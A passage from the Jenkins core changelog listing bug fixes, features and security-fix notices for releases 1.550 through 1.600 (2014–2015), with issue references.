                                                                        -
                                                                      • - Regression with environment variables in 1.600. - (issue 27188) -
                                                                      • - Errors with concurrent matrix builds since 1.597. - (issue 26739) -
                                                                      • - Errors in Dashboard View plugin since 1.597. - (issue 26690) -
                                                                      • - Robustness improvement when setting up Archive Artifacts programmatically. - (issue 25779) -
                                                                      • - Map Queue.Item.id onto Run - (issue 27096) -
                                                                      -

                                                                      What's new in 1.600 (2015/02/28)

                                                                      -
                                                                        -
                                                                      • - Fixes to multiple security vulnerabilities. - (security advisory) -
                                                                      • - JDK auto-installer for Mac OSX -
                                                                      • - An error thrown in the wrong place in a publisher could result in a failure to release a workspace lock. - (issue 26698) -
                                                                      • - Cache node environment to prevent unnecessary channel usage - (issue 26755) -
                                                                      • - Build history text field wrap fails when containing markup - (issue 26406) -
                                                                      • - Maven build step fail to launch mvn process when special chars are present in build variables. - (issue 26684) -
                                                                      -

                                                                      What's new in 1.599 (2015/02/16)

                                                                      -
                                                                        -
                                                                      • - Errors in some Maven builds since 1.598. - (issue 26601) -
                                                                      • - Build format change migrator in 1.597 did not work on some Windows systems. - (issue 26519) -
                                                                      • - Remote FilePath.chmod fails with ClassNotFoundException: javax.servlet.ServletException. - (issue 26476) -
                                                                      • - Added SimpleBuildWrapper API. - (issue 24673) -
                                                                      • - Animated ball in job's build history widget won't open Console Output. - (issue 26365) -
                                                                      • - Show job name in Schedule Build column tool tip. - (issue 25234) -
                                                                      • - Allow OldDataMonitor to discard promoted-build-plugin Promotions - (issue 26718) -
                                                                      -

                                                                      What's new in 1.598 (2015/01/25)

                                                                      -
                                                                        -
                                                                      • - FutureImpl does not cancel its start future. - (issue 25514) -
                                                                      • - Flyweight tasks were under some conditions actually being run on heavyweight executors. - (issue 10944) - (issue 24519) -
                                                                      • - Folder loading broken when child item loading throws exception. - (issue 22811) -
                                                                      • - Plugin icon images were broken when running Jenkins from a UNC path. - (issue 26203) -
                                                                      • - Allow admin signup from /manage as well. - (issue 26382) -
                                                                      • - Amend JAVA_HOME check to work with JDK 9. - (issue 25601) -
                                                                      • - CLI list-jobs command should display raw name, not display name, where they differ. - (issue 25338) -
                                                                      • - Show queue item parameters in tool tip. - (issue 22311) -
                                                                      • - Better support functional tests from Gradle-based plugins. - (issue 26331) -
                                                                      • - Allow users to delete builds even if they are supposed to be kept. - (issue 26281) -
                                                                      • - Fixed side/main panel scrolling issues. - (issue 26312, - issue 26298, - issue 26306) -
                                                                      • - Improve error reporting when channel closed during build. - (issue 26411) -
                                                                      • - Fixed CodeMirror issue with height and re-enabled syntax highlighting in shell build step. - (issue 25455, - issue 23151) -
                                                                      -

                                                                      What's new in 1.597 (2015/01/19)

                                                                      -
                                                                        -
                                                                      • - JENKINS_HOME layout change: builds are now keyed by build numbers and not timestamps. - See Wiki for details - and downgrade. - (issue 24380) -
                                                                      • - Do not throw exception on /signup when not possible. - (issue 11172) -
                                                                      • - Tool installer which downloads and unpacks archives should not fail the build if the tool already exists and the server returns an error code. - (issue 26196) -
                                                                      • - Fingerprint compaction aggravated lazy-loading performance issues. - (issue 19392) -
                                                                      • - Possible unreleased workspace lock if SCM polling fails during setup. - (issue 26201) -
                                                                      • - Misleading description of the 'workspace' permission. - (issue 20148) -
                                                                      • - Run parameters should show display name if set, rather than build numbers. - (issue 25174) -
                                                                      • - Add range check for H(X-Y) syntax. - (issue 25897) -
                                                                      -

                                                                      What's new in 1.596 (2015/01/04)

                                                                      -
                                                                        -
                                                                      • - Build page was broken in Hungarian localization while building. - (issue 26155) -
                                                                      • - Allow breaking label and node lists. - (issue 25989) -
                                                                      -

                                                                      What's new in 1.595 (2014/12/21)

                                                                      -
                                                                        -
                                                                      • - Spurious warnings in the log after deleting builds. - (issue 25788) -
                                                                      • - Master labels disappear when system configuration is updated. - (issue 23966) -
                                                                      • - Updated icon-set dependency to version 1.0.5. - (issue 25499, - issue 25498) -
                                                                      -

                                                                      What's new in 1.594 (2014/12/14)

                                                                      -
                                                                        -
                                                                      • - After recent Java security updates, Jenkins would not gracefully recover from a deleted secrets/master.key. - (issue 25937) -
                                                                      • - Restrict where this project can be run regressed in 1.589 when using the ClearCase plugin. - (issue 25533) -
                                                                      -

                                                                      What's new in 1.593 (2014/12/07)

                                                                      - -

                                                                      What's new in 1.592 (2014/11/30)

                                                                      -
                                                                        -
                                                                      • - Performance problems on large workspaces associated with validating file include patterns. - (issue 25759) -
                                                                      -

                                                                      What's new in 1.591 (2014/11/25)

                                                                      -
                                                                        -
                                                                      • - Always use forward slashes in path separators during in ZIP archives generated by Directory Browser - (issue 22514) -
                                                                      -

                                                                      What's new in 1.590 (2014/11/16)

                                                                      -
                                                                        -
                                                                      • - Basic Authentication in combination with Session is broken - (issue 25144) -
                                                                      • - Some plugins broken since 1.584 if they expected certain events to be fired under a specific user ID. - (issue 25400) -
                                                                      • - Fixed various real or potential resource leaks discovered by Coverity Scan - (pull request 1434) -
                                                                      • - API changes: Expose AbstractProject.AbstractProjectDescriptor#validateLabelExpression for plugins. - (pull request 1456) -
                                                                      • - API method to aggregate multiple FormValidations into one. - (pull request 1458) -
                                                                      • - API method to get non-null Jenkins instance with internal validation - (issue 23339) -
                                                                      -

                                                                      What's new in 1.589 (2014/11/09)

                                                                      -
                                                                        -
                                                                      • - JNA error in WindowsInstallerLink.doDoInstall. - (issue 25358) -
                                                                      • - Restore compatibility of label assignment for some plugins. - (issue 25372) -
                                                                      -

                                                                      What's new in 1.588 (2014/11/02)

                                                                      -
                                                                        -
                                                                      • - Unnecessarily slow startup time with a massive number of jobs. - (issue 25473) -
                                                                      • - Custom workspace option did not work under some conditions. - (issue 25221) -
                                                                      -

                                                                      What's new in 1.587 (2014/10/29)

                                                                      -
                                                                        -
                                                                      • - Queue didn't always leave a trail for cancelled items properly - (issue 25314) -
                                                                      • - JNA update for deprecated JNA-POSIX library. - (issue 24527) -
                                                                      • - Introduced slave-to-master security mechanism to defend a master from slaves. - (SECURITY-144) -
                                                                      -

                                                                      What's new in 1.586 (2014/10/26)

                                                                      -
                                                                        -
                                                                      • - Bumping up JNA to 4.10. This is potentially a breaking change for plugins that depend on JNA 3.x - (issue 24521) -
                                                                      • - Prevent empty file creation if file parameter is left empty. - (issue 3539) -
                                                                      • - Servlet containers may refuse to let us set secure cookie flag. - Deal with it gracefully. - (issue 25019) -
                                                                      • - Existing FileParameters should be handled as different values to avoid merging of queued builds - (issue 19017) -
                                                                      -

                                                                      What's new in 1.585 (2014/10/19)

                                                                      -
                                                                        -
                                                                      • - Build health computed repeatedly for a single Weather column cell. - (issue 25074) -
                                                                      • - Missing workspace page should use 404 status code. - (issue 10450) -
                                                                      • - Fixed memory leak occurring on pages producing incremental output with a progress bar. - (issue 25081) -
                                                                      • - Updated SSH Slaves plugin to 1.8. -
                                                                      • - Due to the reaction, default umask in debian package is set back to 022 - (issue 25065) -
                                                                      • - Greater-than characters are not escaped in HTML outputs like e-mails - (issue 16184) -
                                                                      • - Thread starvation from OldDataMonitor. - (issue 24763) -
                                                                      • - Integer overflow in quiet-down timeout calculation - (issue 24914) -
                                                                      • - Don't put session IDs in URLs even when cookies are disabled. - (issue 22358) -
                                                                      • - Show keep build log reason in tool tips - (pull request 1422) -
                                                                      • - Do not disable projects, which do not support such operation (like Matrix configurations) - (issue 24340) -
                                                                      • - Improved the scalability of SSH slaves plugin caused by global lock in SecureRandom - (issue 20108) -
                                                                      • - Incorporated a fix for "Poodle" (CVE-2014-3566) vulnerability in the HTTPS connector of "java -jar jenkins.war" - (issue 25169) -
                                                                      -

                                                                      What's new in 1.584 (2014/10/12)

                                                                      -
                                                                        -
                                                                      • - Diagnostic thread names are now available while requests are still in filters -
                                                                      • - When killing Windows processes, check its critical flag to avoid BSoD - (issue 24453) -
                                                                      • - When a user could not see a view, but could delete/move/rename jobs contained in it, the view was not properly updated. - (issue 22769) -
                                                                      • - Use POST for cancel quiet down link. - (issue 23020, - issue 23942) -
                                                                      • - Do not consider port in use error to be a successful start of Jenkins on Debian. - (issue 24966) -
                                                                      -

                                                                      What's new in 1.583 (2014/10/01)

                                                                      - -

                                                                      What's new in 1.582 (2014/09/28)

                                                                      -
                                                                        -
                                                                      • - Channel reader thread can end up consuming 100% CPU. - (issue 23471) -
                                                                      • - CancelledKeyException can cause all JNLP slaves to disconnect (and the problem remains until restart). - (issue 24050) -
                                                                      • - Consider dynamic label assignments for label load statistics. - (issue 15576) -
                                                                      • - Use Windows line endings for batch file build steps. - (issue 7478) -
                                                                      • - Reduced the logging clutter about the lack of @ExportedBean. - (issue 24458) -
                                                                      • - Character encoding problem in form submission when file parameters are present. - (issue 11543) -
                                                                      • - Improved error handling and "in-progress" UI feedback in JNLP slave to service installation. -
                                                                      • - Winstone 2.4: reverse proxy support in the logging, request header size limit control, and different private key password from keystore password. - (issue 23665) -
                                                                      • - umask setting on Debian did not work. - (pull 1397) -
                                                                      • - handle job move when buildDir is configured to a custom location. - (issue 24825) -
                                                                      -

                                                                      What's new in 1.581 (2014/09/21)

                                                                      -
                                                                        -
                                                                      • - Use slightly larger Jenkins head icon. - (pull 1360) -
                                                                      • - Allow setting a system property to disable X-Frame-Options header. - (issue 21881) -
                                                                      • - Explicitly set background color of various UI elements to white. - (issue 24625) -
                                                                      • - Wrong Hebrew localization resulted in broken console output since 1.539. - (issue 24614) -
                                                                      -

                                                                      What's new in 1.580 (2014/09/14)

                                                                      -
                                                                        -
                                                                      • - Health reports saved to disk before 1.576 showed no weather icon since that version. - (issue 24407) -
                                                                      • - Renaming jobs fails if parent dir of custom build records directory does not exist. - (issue 19764) -
                                                                      • - Add editable descriptions for label atoms. - (issue 6153) -
                                                                      -

                                                                      What's new in 1.579 (2014/09/06)

                                                                      -
                                                                        -
                                                                      • - ConcurrentModificationException in RunListProgressiveRendering. - (issue 21437) -
                                                                      • - StackOverflowError for some old SCMListeners. - (issue 23522) -
                                                                      • - Job status page shows "Build has been executing for null on master" for flyweight tasks. - (issue 20307) -
                                                                      • - File locking issue when running functional tests on Windows. - (issue 21977) -
                                                                      • - Tolerate ?auto_refresh in reverse proxy check on /manage page. - (issue 24014) -
                                                                      • - Debian package now sets umask to 027 by default for better default privacy. See /etc/default/jenkins to change this. - (issue 24514) -
                                                                      -

                                                                      What's new in 1.578 (2014/08/31)

                                                                      -
                                                                        -
                                                                      • - Added 'no-store' to the 'Cache-Control' header to avoid accidental information leak through local cache backup - (issue 24337) -
                                                                      • - Deadlock in OldDataMonitor. - (issue 24358) -
                                                                      • - Use absolute links for computer sidepanel items so they don't break as easily. - (issue 23963) -
                                                                      -

                                                                      What's new in 1.577 (2014/08/24)

                                                                      -
                                                                        -
                                                                      • - Failure to migrate legacy user records in 1.576 properly broke Jenkins, resulted in NullPointerExceptions. - (issue 24317) -
                                                                      • - Jenkins did not correctly display icons contributed by plugins in 1.576. - (issue 24316) -
                                                                      • - Moved JUnit reporting functionality to a plugin. - (issue 23263) -
                                                                      • - Fixed ClassCastException on org.dom4j.DocumentFactory - (issue 13709) -
                                                                      • - Jenkins now logs warnings when it fails to export objects to XML/JSON. - This can result in a lot of log output in case of heavy API use. - We recommend that API users use the ?tree parameter instead of ?depth. - (commit) -
                                                                      • - Allow BuildStep to work with non-AbstractProject - (issue 23713) -
                                                                      • - Improved class loading performance when using Groovy. - (issue 24309) -
                                                                      • - Prevent NullPointerException from Executor.run. - (issue 24110) -
                                                                      • - Make the lifetime of queue items cache configurable. - (issue 19691) -
                                                                      • - Support --username/--password authentication for CLIMethod based CLI commands. - (issue 23988) -
                                                                      • - Don't link to /safeRestart after update if Jenkins cannot restart itself. - (issue 24032) -
                                                                      • - Properly consider busy executors when reducing a node's executor count. - (issue 24095) -
                                                                      -

                                                                      What's new in 1.576 (2014/08/18)

                                                                      -
                                                                        -
                                                                      • - Worked around "incompatible InnerClasses attribute" bug in IBM J9 VM - (issue 22525) -
                                                                      • - Fixed a file descriptor leak with CLI connections. - (issue 23248) -
                                                                      • - Fixed a regression that removed all users with uppercase letters in the user name since 1.566. - (issue 23872) -
                                                                      • - Improving security of set-build-parameter and set-build-result CLI commands. - (issue 24080) -
                                                                      • - Startup can be broken by deeply recursive causes in build records. - (issue 24161) -
                                                                      • - Displaying unabridged test result trend on project index page defeated lazy loading. - (issue 23945) -
                                                                      • - Added support for host:port format in X-Forwarded-Host header. - (commit 19d8b80) -
                                                                      • - API to launch processes without printing the command line. - (issue 23027) -
                                                                      • - Added option to increase impact of test failures on the weather report. - (issue 24006) -
                                                                      • - Modernized sidebar <l:pane>s and making them work better with new layout. - (issue 23810, - issue 23829) -
                                                                      • - Add option to CLI to skip key authentication (e.g. when there's a password on the default key). - (issue 23970) -
                                                                      • - Modernize tabBar and bigtable. Makes the project view look better. Same for Plugin Manager. - (issue 24030) -
                                                                      -

                                                                      What's new in 1.575 (2014/08/10)

                                                                      -
                                                                        -
                                                                      • - Move option to fingerprint artifacts to Archive the Artifacts, Advanced options. - (commit f43a450) -
                                                                      • - Move option to keep dependencies (builds) from Fingerprint to Advanced Project Options. - (commit a8756c6) -
                                                                      • - Improved validation of Build Record Root Directory setting. - (issue 14538) -
                                                                      • - Indicate which node the workspace being viewed is on. - (issue 23636) -
                                                                      • - Show full project name for projects in folders. - (issue 22971) -
                                                                      • - UI redesign: Shrink the top bar, change logo, changed links in top bar. - (pull 1327, - (pull 1328) -
                                                                      • - Killing processes started by builds on Unix was broken as of 1.553. - (issue 22641) -
                                                                      • - Should not stop a build from finishing just to compute JUnit result difference to a prior build which is still running. - (issue 10234) -
                                                                      • - Do not show link to System Information page for offline slaves, make page more robust when offline. - (issue 23041) -
                                                                      • - Fix link to SCM polling log from downstream job cause. - (issue 18048) -
                                                                      • - Autocomplete logger names. - (issue 23994) -
                                                                      • - UI redesign: Fix links in header bar when logged in. -
                                                                      • - Do not show changes for the build at the lower bound of the changes list. - (issue 18902) -
                                                                      • - Restrict access to SCM trigger status page to administrators. - (pull 1282) -
                                                                      -

                                                                      What's new in 1.574 (2014/07/27)

                                                                      -
                                                                        -
                                                                      • - UI redesign: Use Helvetica as default font - (pull 1315, - issue 23840) -
                                                                      • - Synchronization issue during tool installation - (issue 17667) -
                                                                      • - Use native encoding for filenames in downloaded ZIPs. - (issue 20663) -
                                                                      -

                                                                      What's new in 1.573 (2014/07/20)

                                                                      -
                                                                        -
                                                                      • - UI redesign: Changed element alignment, removed sidebar link underlines - (pull 1314, - pull 1316) -
                                                                      • - Word-break links in build logs to preserve page width - (pull 1308) -
                                                                      • - Log rotation fails with "...looks to have already been deleted" - (issue 22395) -
                                                                      • - Fixed unnecessary eager loading of build records in certain code path. - (issue 18065) -
                                                                      -

                                                                      What's new in 1.572 (2014/07/13)

                                                                      -
                                                                        -
                                                                      • - UI redesign: Changed header, made layout <div>-based and responsive - (pull 1310) -
                                                                      • - Improved handling of X-Forwarded-* headers - (issue 23294) -
                                                                      • - Do not offer automatic upgrade if war parent directory is not writable - (issue 23683) -
                                                                      -

                                                                      What's new in 1.571 (2014/07/07)

                                                                      -
                                                                        -
                                                                      • - IllegalArgumentException from AbstractProject.getEnvironment when trying to get environment variables from an offline slave. - (issue 23517) -
                                                                      • - Overall.READ is sufficient to access /administrativeMonitor/hudsonHomeIsFull/ - (SECURITY-134) -
                                                                      • - Master computer is not notified using ComputerListener - (issue 23481) -
                                                                      -

                                                                      What's new in 1.570 (2014/06/29)

                                                                      -
                                                                        -
                                                                      • - Add CLI commands to add jobs to and remove jobs from views (add-job-to-view, remove-job-from-view). - (issue 23361) -
                                                                      • - UI improvements / refreshing. - (issue 23492) -
                                                                      • - Failed to correctly resave a project configuration containing both a forward and a reverse build trigger. - (issue 23191) -
                                                                      • - Long log output resulted in missing Console link in popup. - (issue 14264) -
                                                                      • - HTTP error 405 when trying to restart ssh host. - (issue 23094) -
                                                                      • - Move 'None' Source Code Management option to top position. - (issue 23434) -
                                                                      • - Fixed NullPointerException when ArtifactArchiver is called for a build with the undefined status. - (issue 23526) -
                                                                      • - Allow disabling use of default exclude patterns in ArtifactArchiver (.git, .svn, etc.). - (issue 20086) -
                                                                      • - Fixed NullPointerException when "properties" element is missing in a job's configuration submission by JSON - (issue 23437) -
                                                                      -

                                                                      What's new in 1.569 (2014/06/23)

                                                                      -
                                                                        -
                                                                      • - Jenkins can now kill Win32 processes from Win64 JVMs. - (issue 23410) -
                                                                      • - Allow custom security realm plugins to fire events to SecurityListeners. - (issue 23417) -
                                                                      • - Recover gracefully if a build permalink has a non-numeric value. - (issue 21631) -
                                                                      • - Fix form submission via the Enter key for Internet Explorer version 9. - (issue 22373) -
                                                                      • - When Jenkins had a lot of jobs, submitting a view configuration change could overload the web server, even if few of the jobs were selected. - (issue 20327) -
                                                                      -

                                                                      What's new in 1.568 (2014/06/15)

                                                                      -
                                                                        -
                                                                      • - Fixed JNLP connection handling problem - (issue 22932) -
                                                                      • - Fixed NullPointerException caused by the uninitialized ProcessStarter environment in build wrappers - (issue 20559) -
                                                                      • - Support the range notation for pagination in API - (issue 23228) -
                                                                      • - Incorrect redirect after deleting a folder. - (issue 23375) -
                                                                      • - Incorrect links from Build History page inside a folder. - (issue 19310) -
                                                                      • - API changes allowing new job types to use SCM plugins. - (issue 23365) -
                                                                      • - API changes allowing to create nested launchers (DecoratedLauncher) - (issue 19454) -
                                                                      -

                                                                      What's new in 1.567 (2014/06/09)

                                                                      -
                                                                        -
                                                                      • - Fixed a reference counting bug in the remoting layer. - (commit) -
                                                                      • - Avoid repeatedly reading symlinks from disk to resolve build permalinks. - (issue 22822) -
                                                                      • - Show custom build display name in executors widget. - (issue 10477) -
                                                                      • - CodeMirror support for shell steps broke initial configuration. - (issue 23151) -
                                                                      • - Jenkins on Linux can not restart after plugin update when started without full path to java executable - (issue 22818) -
                                                                      • - Fixed NullPointerException when a build triggering returns null cause - (issue 20499) -
                                                                      • - Fixed NullPointerException on plugin installations when invalid update center is set - (issue 20031) -
                                                                      • - Use DISABLED_ANIME icon while building a disabled project - (issue 8358) -
                                                                      • - Process the items hierarchy when displaying the Show Poll Thread Count option - (issue 22934) -
                                                                      • - Compressed output was turned on even before Access Denied errors were shown for disallowed Remote API requests, yielding a confusing error. - (issue 17374) - (issue 18116) -
                                                                      • - Properly close input streams in FileParameterValue - (issue 22693) -
                                                                      • - Incorrect failure age in the JUnit test results - (issue 18626) -
                                                                      • - Fixed deletion links for JVM Crash error logs - (issue 22617) -
                                                                      • - Distinguish "nodes for label offline" from "no nodes for label" - (issue 17114) -
                                                                      • - Add causes to queue item tool tip - (issue 19250) -
                                                                      • - RPM: added JENKINS_HTTPS_KEYSTORE and JENKINS_HTTPS_KEYSTORE_PASSWORD options to Jenkins sysconfig file - (issue 11673) -
                                                                      • - RPM: Do not install jenkins.repo file - (issue 22690) -
                                                                      • - Don't advertise POSTing config.xml on master - (issue 16264) -
                                                                      • - Handle null parameter values to avoid massive executor deaths - (issue 15094) -
                                                                      • - Added an option to archive artifacts only when the build is successful - (issue 22699) -
                                                                      -

                                                                      What's new in 1.566 (2014/06/01)

                                                                      -
                                                                        -
                                                                      • - Configurable case sensitivity mode for user IDs. - (issue 22247) -
                                                                      • - Extension point for project naming strategies did not work from actual plugins. - (issue 23127) -
                                                                      • - Introduce directly modifiable views - (issue 22967) -
                                                                      • - Jenkins cannot restart Windows service - (issue 22685) -
                                                                      -

                                                                      What's new in 1.565 (2014/05/26)

                                                                      -
                                                                        -
                                                                      • - Misleading error message trying to dynamically update a plugin (which is impossible) on an NFS filesystem. - (issue 12753) -
                                                                      • - Updated component used by the swap space monitor to better support Debian and AIX. -
                                                                      • - SSH slave connections die after the slave outputs 4MB of stderr, usually during findbugs analysis - (issue 22938) -
                                                                      • - Polling no longer triggers builds (regression 1.560) - (issue 22750) -
                                                                      • - Allow markup formatter to be selected without enabling security. - (issue 22028) -
                                                                      • - Fixed localization of build environment variable help. - (issue 22867) -
                                                                      -

                                                                      What's new in 1.564 (2014/05/19)

                                                                      -
                                                                        -
                                                                      • - Improve list view performance on large instances with folders. - (issue 22720) -
                                                                      • - Add indicator when build queue is filtered. - (issue 22698) -
                                                                      • - Update bundled Matrix project plugin to 1.2 fixing issues introduced in 1.561. - (issue 22879, - issue 22798) -
                                                                      -

                                                                      What's new in 1.563 (2014/05/11)

                                                                      -
                                                                        -
                                                                      • - Memory exhaustion in remoting channel since 1.560. - (issue 22734) -
                                                                      • - Configurable size for log buffer. - (issue 22840) -
                                                                      • - Gesture to clear log buffer. - (issue 22839) -
                                                                      • - Prevent up to two-minute delay before scheduling jobs from a cron trigger. - (pull request 1216) -
                                                                      • - Occasional attempts to delete a build during log rotation which had already been deleted. - (issue 22395) -
                                                                      • - Again show proper display names for build parameters. - (issue 22755) -
                                                                      -

                                                                      What's new in 1.562 (2014/05/03)

                                                                      -
                                                                        -
                                                                      • - Next build link was not reliably available from a previous build after starting a new one. - (issue 20662) -
                                                                      • - Debian postinst: check for present user/group before adding them. - (issue 22715) -
                                                                      • - Add distance between time tick labels on load statistics. - (issue 22686) -
                                                                      • - Correctly show load statistics for master node. - (issue 22689) -
                                                                      • - Make load statistics graph font configurable, use sans serif font by default. - (issue 22688) -
                                                                      • - Add links to nodes on thread dump page for easier navigation. - (issue 22672) -
                                                                      -

                                                                      What's new in 1.561 (2014/04/27)

                                                                      -
                                                                        -
                                                                      • - Fixed a corner case handling of tool installation. - (issue 16846) -
                                                                      • - Enabled log rotation on the OSX package - (issue 15178) -
                                                                      • - When measuring the length of the queue, jobs that consist of multiple subtasks should - count as more than 1. - (pull request 742) -
                                                                      • - Close drop-down button menu when clicking outside - (issue 17050) -
                                                                      • - RunParameter with filtering enabled incorrectly includes builds which have not yet completed - (issue 20974) -
                                                                      • - Fixed NPE if RunParameterValue points to a stable build. - (issue 20857) -
                                                                      • - Fixed a JavaScript problem in sortable table with IE8. - (issue 21729) -
                                                                      • - More efficient deletion of old builds (specified by date). - (issue 22607) -
                                                                      • - The matrix project type was moved into its own plugin. -
                                                                      • - Linkage errors in notifiers could leak workspace leases. - (issue 21622) -
                                                                      • - Better correction of the anomalous condition that several builds of a job specify the same number. - (issue 22631) -
                                                                      • - Under certain conditions, a running build could mistakenly be shown as completed (and failed), while still producing output. - (issue 22681) -
                                                                      • - Fix a bug which only showed the first detail part for radio buttons. - (issue 22583) -
                                                                      • - Update version of bundled Mailer plugin to 1.8 to avoid issues with older versions -
                                                                      • - Show larger load statistics graphs. - (issue 22674) -
                                                                      • - Linebreak project names less aggressively. - (issue 22670) -
                                                                      • - Added a new extension point for more pluggable JNLP slave handling -
                                                                      • - Don't ask for confirmation when it doesn't make any sense. - (issue 21720) -
                                                                      • - Jenkins asks for confirmation before leaving form even though user is not authorized to make changes. - (issue 20597) -
                                                                      • - Make the computers monitor status row look different from regular node rows. - (pull request 1095) -
                                                                      • - Do not offer "Install without restart" for plugin updates. - (pull request 1125) -
                                                                      • - Require POST on more actions. - (pull request 877) -
                                                                      • - Optimize image sizes. - (pull request 648) -
                                                                      • - Properly close resources in case of exceptions. - (pull request 737) -
                                                                      • - Fix warning on JBoss AS7 due to unnecessary xpp3_min dependency. - (pull request 733) -
                                                                      • - Return queue item location when triggering buildWithParameters. - (issue 13546) -
                                                                      -

                                                                      What's new in 1.560 (2014/04/20)

                                                                      -
                                                                        -
                                                                      • - Enforcing build trigger authentication at runtime by checking authentication associated with a build, rather than at configuration time. - For compatibility, enforcement is skipped by default; you must install the Authorize Project plugin or similar for this to take effect. - The “upstream pseudo trigger” was also removed in favor of a true trigger configured on the downstream project; - you may use either the post-build action or the trigger according to where you want this configuration stored, and who is authorized to change it. - (issue 16956) -
                                                                      • - Fixed NPE from view new job name autocompletion since 1.553. - (issue 22142) -
                                                                      • - Deadlocks in concurrent builds under some conditions since 1.556. - (issue 22560) -
                                                                      • - JNLP slaves are now handled through NIO-based remoting channels for better scalability. -
                                                                      • - Integrated codemirror v2.38. - (issue 22582) -
                                                                      • - Listing plugins shortly after installation throws ConcurrentModificationException. - (issue 22553) -
                                                                      • - Fixed NoSuchMethodException when destroying processes using JDK1.8. - (issue 21341) -
                                                                      • - Avoid irrelevant job queuing while node is offline. - (issue 21394) -
                                                                      • - Debian package now creates 'jenkins' group -
                                                                      • - Suppress fingerprint link if fingerprint record isn't available. - (issue 21818) -
                                                                      • - Job hangs if one of multiple triggered builds was aborted - (issue 21932) -
                                                                      • - Don't submit form on Save after Apply in new window on some browsers. - (issue 20245) -
                                                                      • - Remotely triggered builds now show correct IP address through proxy. - (issue 18008) -
                                                                      -

                                                                      What's new in 1.559 (2014/04/13)

                                                                      -
                                                                        -
                                                                      • - Slaves connected via Java Web Start now restart themselves when a connection to Jenkins is lost. - (issue 19055) -
                                                                      • - Fixed NPE from Slave.createLauncher. - (issue 21999) -
                                                                      • - Faster rendering of views containing many items. - (issue 18364) -
                                                                      -

                                                                      What's new in 1.558 (2014/04/06)

                                                                      -
                                                                        -
                                                                      • - Cron-style trigger configuration will now display expected prior and subsequent run times. -
                                                                      • - Incorrect filtering of build queue and executors widgets after 1.514. - (issue 20500) -
                                                                      • - NoSuchMethodError: hudson.model.BuildAuthorizationToken.checkPermission(…) from Build Token Root plugin since 1.556. - (issue 22382) -
                                                                      • - Allow a Trigger to be a DependencyDeclarer. - (issue 22397) -
                                                                      • - Fixed a slow down in resource loading caused by fix to JENKINS-18677. - (issue 21579) -
                                                                      • - jenkins.war file shouldn't be exploded into /tmp - (issue 22442) -
                                                                      • - Fixed NPE in UserCause - (issue 21875) -
                                                                      • - Added RobustMapConverter. - (issue 22398) -
                                                                      • - JNLP slaves now satisfies stricter requirements imposed by JDK7u45. - (issue 20204) -
                                                                      • - Fixed NPE executing Pipe.EOF with ProxyWriter - (issue 20769) -
                                                                      -

                                                                      What's new in 1.557 (2014/03/31)

                                                                      -
                                                                        -
                                                                      • - Fixed ArrayIndexOutOfBoundsException in XStream with Oracle JDK8 release version - (issue 18537) -
                                                                      • - Corrected permission checks for copy-job and create-job CLI commands. - (issue 22262) -
                                                                      • - identity.key, used to secure some communications with Jenkins, now stored encrypted with the master key. -
                                                                      • - When dynamically loading a plugin which another loaded plugin already had an optional dependency on, class loading errors could result before restart. - (issue 19976) -
                                                                      • - Memory leaks in the old data monitor. - (issue 19544) -
                                                                      • - Ability for custom view types to disable automatic refresh. - (issue 21190) - (issue 21191) -
                                                                      • - Option to download metadata directly from Jenkins rather than going through the browser. - (issue 19081) -
                                                                      • - Allow JDK8 (and other versions) to be downloaded by JDKInstaller correctly. - (issue 22347) -
                                                                      -

                                                                      What's new in 1.556 (2014/03/23)

                                                                      -
                                                                        -
                                                                      • - Access through API token and SSH key login now fully retains group memberships. - (issue 20064) -
                                                                      • - API changes allowing more flexibility in unusual job types. - (issue 22131) -
                                                                      • - Job can be reloaded individually from disk with "job/FOO/reload" URL or "reload-job" CLI command -
                                                                      -

                                                                      What's new in 1.555 (2014/03/16)

                                                                      -
                                                                        -
                                                                      • - Jenkins should recover gracefully from a failure to process "remember me" cookie - (issue 11643) -
                                                                      • - Fixed Up link in matrix projects - (issue 21773) -
                                                                      -

                                                                      What's new in 1.554 (2014/03/09)

                                                                      -
                                                                        -
                                                                      • - Archiving of symlinks as artifacts did not work in some cases. - (issue 21958) -
                                                                      • - Slow rendering of directories with many entries in remote workspaces. - (issue 21780) -
                                                                      -

                                                                      What's new in 1.553 (2014/03/02)

                                                                      -
                                                                        -
                                                                      • - Build history widget only showed the last day of builds. - (Due to JENKINS-20892, even with this fix at most 20 builds are shown.) - (issue 21159) -
                                                                      • - Random class loading error mostly known to affect static analysis plugins. - (issue 12124) -
                                                                      • - After restarting Jenkins, users known only from changelogs could be shown as First Last _first.last@some.org_, breaking mail delivery. - (issue 16332) -
                                                                      • - CLI build -s -v command caused 100% CPU usage on the master. - (issue 20965) -
                                                                      • - Slave started from Java Web Start can now install itself as a systemd service. -
                                                                      • - Split the “raw HTML” markup formatter out of core into a bundled plugin. -
                                                                      • - Do not show Maven modules and matrix configurations in the Copy Job dialog. - (issue 19559) -
                                                                      • - Fix autocompletion for items in folders. - (pull request 1124) -
                                                                      -

                                                                      What's new in 1.552 (2014/02/24)

                                                                      -
                                                                        -
                                                                      • - Fixed handling of default JENKINS_HOME when storing CLI credentials - (issue 21772) -
                                                                      • - Fixed broken action links on Label page - (issue 21778) -
                                                                      • - Allow Actions to contribute to Labels' main page - (issue 21777) -
                                                                      • - Expensive symlink-related calls on Windows can be simplified. - (issue 20534) -
                                                                      • - Improve detection of broken reverse proxy setups. -
                                                                      -

                                                                      What's new in 1.551 (2014/02/14)

                                                                      -
                                                                        -
                                                                      • - Valentine's day security release that contains more than a dozen security fixes. - (security advisory) -
                                                                      • - Regression in Windows slaves since 1.547. - (issue 21373) -
                                                                      • - Using java -jar jenkins-core.jar folder/external-monitor-job cmd … did not work. - (issue 21525) -
                                                                      • - Jenkins crash on startup after upgrade from 1.546 to 1.548. - (issue 21474) -
                                                                      • - f:combobox is narrow. - (issue 21612) -
                                                                      • - The workspace cleanup thread failed to handle the modern workspace location on master, and mishandled folders. - (issue 21023) -
                                                                      • - Fixed missing help items on "Configure Global Security" page - (issue 19832) -
                                                                      • - Sort groups on user index page alphabetically. - (issue 21673) -
                                                                      • - Should not be able to create a job named . (period). - (issue 21639) -
                                                                      • - Plugins implementing "AsyncPeriodicWork" can overwrite default logging level - (pull request #1115) -
                                                                      • - Wrong log message for out-of-order build record repair. - (issue 20730) -
                                                                      • - Existing Fingerprint Action is reused and not added a second time. - (issue 19832) -
                                                                      • - TestObject doesn't replace '%' character - (issue 21707) -
                                                                      • - "java -jar jenkins.war" should use unique session cookie for users who run multiple Jenkins on the same host. -
                                                                      -

                                                                      What's new in 1.550 (2014/02/09)

                                                                      -
                                                                        -
